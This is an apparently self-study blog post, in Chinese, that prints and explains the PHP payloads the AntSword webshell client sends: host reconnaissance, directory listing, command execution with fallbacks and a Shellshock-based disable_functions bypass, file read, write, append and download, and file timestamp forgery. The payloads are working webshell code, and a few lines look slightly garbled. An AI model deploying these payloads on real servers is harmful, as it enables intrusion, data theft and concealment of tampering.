<?php@ini_set("display_errors", "0"); @set_time_limit(0);
function asenc($out) { return $out;};
function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "a668f"; echo @asenc($output); echo "2b358b9efe4";}
ob_start(); try { $D = dirname($_SERVER["SCRIPT_FILENAME"]); if ($D == "") $D = dirname($_SERVER["PATH_TRANSLATED"]); $R = "{$D} "; if (substr($D, 0, 1) != "/") { foreach (range("C", "Z") as $L) if (is_dir("{$L}:")) $R.= "{$L}:"; } else { $R.= "/"; } $R.= " "; $u = (function_exists("posix_getegid")) ? @posix_getpwuid(@posix_geteuid()) : ""; $s = ($u) ? $u["name"] : @get_current_user(); $R.= php_uname(); $R.= " {$s}"; echo $R;;}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die();
?>ob_start()查了一下一堆看不懂的東西什麼緩衝區啊什麼的
簡單理解一下就是所有執行的結果都放到一個函數裡可以選擇輸出或者不輸出<?phpob_start();echo "helloworld";$str = ob_get_contents();ob_end_clean();echo $str;
?>ob_end_flush() 出輸出緩衝區內容並關閉出書緩衝
ob_clean() 清空輸出緩衝區內容
ob_end_clean() 清空發輸出緩衝區並關閉輸出緩衝
ob_flush() 輸出輸出輸出緩衝區內容
ob_get_contents() 返回輸出緩衝區內容
dirname()是用來返迴路徑中目錄的部分
<?phpecho dirname('C:\\test\\a.php');
?>下面兩個方法是獲取當前路徑的
$_SERVER["SCRIPT_FILENAME"]
$_SERVER["PATH_TRANSLATED"]下面一個if是判斷當前是windows還是linux截取獲取到路徑的第一個字符如果不是 / 就開始判斷有幾塊硬碟判斷posix_getegid方法是否存在,如果存在就獲取一個結果,不存在就返回空,這個方法只能在linux上面使用,會返回一串數組Array ( [name] => www-data [passwd] => x [uid] => 33 [gid] => 33 [gecos] => www-data [dir] => /var/www [shell] => /usr/sbin/nologin )下面一個判斷如果是空字符就用另外一種方法獲取用戶名,總之就是獲取不同系統用戶名的方法吧posix_getegid(); get_current_user(); 這兩個方法還是有區別的,如果在linux中使用get_current_user()會顯示創建這個文件的用戶,如果是root用戶創建的會返回root,但是不是當前用戶權限,所以在linux中不能使用這個
這個和什麼有效用戶實際用戶有關係,到時候寫篇文章專門說這個php_uname()獲取一些系統信息,拼接之後就是測試連接包返回的信息<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) { return $out;};function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "c3536554"; echo @asenc($output); echo "e8932c7d0";}ob_start();try { $D = base64_decode($_POST["i641a4cfe56ac8"]); $F = @opendir($D); if ($F == NULL) { echo ("ERROR:// Path Not Found Or No Permission!"); } else { $M = NULL; $L = NULL; while ($N = @readdir($F)) { $P = $D . $N; $T = @date("Y-m-d H:i:s", @filemtime($P)); @$E = substr(base_convert(@fileperms($P) , 10, 8) , -4); $R = " " . $T . " " . @filesize($P) . " " . $E . ""; if (@is_dir($P)) $M.= $N . "/" . $R; else $L.= $N . $R; } echo $M . $L; @closedir($F); };}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die();?>看了一下代碼其實差不多,如果判斷出有這個目錄就格式化
readdir需要用循環輸出所有,如果不使用循環只會輸出第一個文件或文件夾,readdir返回的是資源類型,對php的造詣還沒有這麼深,也不是很能理解,就隨便提一下吧fileperms 獲取文件權限,如0777,0666,就是文件讀寫執行的權限base_convert 轉換進位,第一個參數是需要轉換的字符,第二個參數是現在的進位,第三個參數是需要轉換的進位<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) { return $out;};function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "a735ece"; echo @asenc($output); echo "aebcb5f";}ob_start();try { $p = base64_decode($_POST["df6ea65f22ba1e"]); $s = base64_decode($_POST["hdf1accbefb95a"]); $envstr = @base64_decode($_POST["udd5d23f539a87"]); $d = dirname($_SERVER["SCRIPT_FILENAME"]); $c = substr($d, 0, 1) == "/" ? "-c \"{$s}\"" : "/c \"{$s}\""; if (substr($d, 0, 1) == "/") { @putenv("PATH=" . getenv("PATH") . ":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"); } else { @putenv("PATH=" . getenv("PATH") . ";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;"); } if (!empty($envstr)) { $envarr = explode("|||asline|||", $envstr); foreach ($envarr as $v) { if (!empty($v)) { @putenv(str_replace("|||askey|||", "=", $v)); } } } $r = "{$p} {$c}"; function fe($f) { $d = explode(",", @ini_get("disable_functions")); if (empty($d)) { $d = array(); } else { $d = array_map('trim', array_map('strtolower', $d)); } return (function_exists($f) && is_callable($f) && !in_array($f, $d)); }; function runshellshock($d, $c) { if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) { if (strstr(readlink("/bin/sh") , "bash") != FALSE) { $tmp = tempnam(sys_get_temp_dir() , 'as'); putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1"); if (fe('error_log')) { error_log("a", 1); } else { mail("a@127.0.0.1", "", "", "-bv"); } } else { return False; } $output = @file_get_contents($tmp); @unlink($tmp); if ($output != "") { print ($output); return True; } } return False; }; function runcmd($c) { $ret = 0; $d = dirname($_SERVER["SCRIPT_FILENAME"]); if (fe('system')) { @system($c, $ret); } elseif (fe('passthru')) { @passthru($c, $ret); } elseif (fe('shell_exec')) { print (@shell_exec($c)); } elseif (fe('exec')) { @exec($c, $o, $ret); print (join("", $o)); } elseif (fe('popen')) { $fp = @popen($c, 'r'); while (!@feof($fp)) { print (@fgets($fp, 2048)); } @pclose($fp); } elseif (fe('proc_open')) { $p = @proc_open($c, array( 1 => array( 'pipe', 'w' ) , 2 => array( 'pipe', 'w' ) ) , $io); while (!@feof($io[1])) { print (@fgets($io[1], 2048)); } while (!@feof($io[2])) { print (@fgets($io[2], 2048)); } @fclose($io[1]); @fclose($io[2]); @proc_close($p); } elseif (fe('antsystem')) { @antsystem($c); } elseif (runshellshock($d, $c)) { return $ret; } elseif (substr($d, 0, 1) != "/" && @class_exists("COM")) { $w = new COM('WScript.shell'); $e = $w->exec($c); $so = $e->StdOut(); $ret.= $so->ReadAll(); $se = $e->StdErr(); $ret.= $se->ReadAll(); print ($ret); } else { $ret = 127; } return $ret; }; $ret = @runcmd($r . " 2>&1"); print ($ret != 0) ? "ret={$ret}" : "";;}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die();?>數據包裡面兩個都是base64,第一個參數是cmd(linux為/bin/sh),執行的命令是dir,第二個參數是cd /d 「D:\phpstudy_pro\WWW」&dir&echo [S]&cd&echo [E],cd到這個目錄下面去執行dir
上面就是設置一些變量吧,第一個if判斷當前為什麼系統,不同系統添加不同環境變量,嘗試了一下發現這樣添加環境變量是臨時的,$d得到被禁用的函數,變為一個數組,如果$d為空也轉換成一個數組,如果$d不為空先將所有的禁用函數轉換為小寫再去掉空格如果這個函數存在,可調用,不在這個數組裡面則返回truerunshellshock函數,這裡已經開始bypass_disable_function了,但是這裡需要C語言的知識,暫時還不會C語言所以沒法讀runcmd函數,就是一個個對比過去了system,passthru,shell_exec,exec,popen,proc_open,antsystem,runshellshock最後還有個com組件antsystem這個方法找了一下沒找到,可能是作者先留著準備以後寫的吧上面所有方法都不能使用則返回ret=127,實際測試中只有所有方法都失敗了才會返回127,因為裡面執行的命令不止有一條,如:cd /d 「D:\phpstudy_pro\WWW」&a&echo [S]&cd&echo [E]只要錯誤的命令不在最後一段裡面就會返回0whoami&a&whoami whoami&whoami&a 如果想看到ret=1輸入;就可以,會使整條命令都錯誤<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) { return $out;};function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "58e7b39"; echo @asenc($output); echo "442640773";}ob_start();try { $F = base64_decode($_POST["z32eaa956c11f2"]); $P = @fopen($F, "r"); echo (@fread($P, filesize($F) ? filesize($F) : 4096)); @fclose($P);;}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die(); ?>這個就普通的讀文件,POST上去的文件路徑使用base64編碼。,如果filesize沒讀出大小默認文件大小為4096<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) { return $out;};function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "c6a5e3ac1a3"; echo @asenc($output); echo "7aa2ed54e88";}ob_start();try { echo @fwrite(fopen(base64_decode($_POST["md6246f865f321"]), "w"), base64_decode($_POST["ib91b7206ec157"])) ? "1" : "0";;}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die();?>寫入內容和文件路徑使用base64編碼,fwrite寫入<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) { return $out;};function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "a8d0d"; echo @asenc($output); echo "a0625f";}ob_start();try { $f = base64_decode($_POST["v889340f8c72ac"]); $c = $_POST["gf1a56119bdc4e"]; $c = str_replace("", "", $c); $c = str_replace("", "", $c); $buf = ""; for ($i = 0;$i < strlen($c);$i+= 2) $buf.= urldecode("%" . substr($c, $i, 2)); echo (@fwrite(fopen($f, "a"), $buf) ? "1" : "0");;}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die();?><?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) { return $out;};function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "40bc8a634f"; echo @asenc($output); echo "447ce9735";}ob_start();try { $F = base64_decode(get_magic_quotes_gpc() ? stripslashes($_POS T["v889340f8c72ac"]) : $_POST["v889340f8c72ac"]); $fp = @fopen($F, "r"); if (@fgetc($fp)) { @fclose($fp); @readfile($F); } else { echo ("ERROR:// Can Not Read"); };}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die();?>第一個參數是下載的文件,如果有使用魔術引號需要把斜杆都去除,沒有的話就直接返回,後面這個fgetc也看不太懂,可能也涉及C語言的知識,以後學懂了再來看。<?php@ini_set("display_errors", "0");@set_time_limit(0);function asenc($out) { return $out;};function asoutput() { $output = ob_get_contents(); ob_end_clean(); echo "a6dd58ec46"; echo @asenc($output); echo "6b8c4";}ob_start();try { $m = get_magic_quotes_gpc(); $FN = base64_decode(m ? stripslashes($_POST["p100b5d1ae6e76"]) : $_POST["p100b5d1ae6e76"]); $TM = strtotime(base64_decode(m ? stripslashes($_POST["f744286414facf"]) : $_POST["f744286414facf"])); if (file_exists($FN)) { echo (@touch($FN, $TM, $TM) ? "1" : "0"); } else { echo ("0"); };;}catch(Exception $e) { echo "ERROR://" . $e->getMessage();};asoutput();die();?>看了一下蟻劍編碼器和解碼器,基本上也是一樣的,就是代碼加個編碼返回值也加個編碼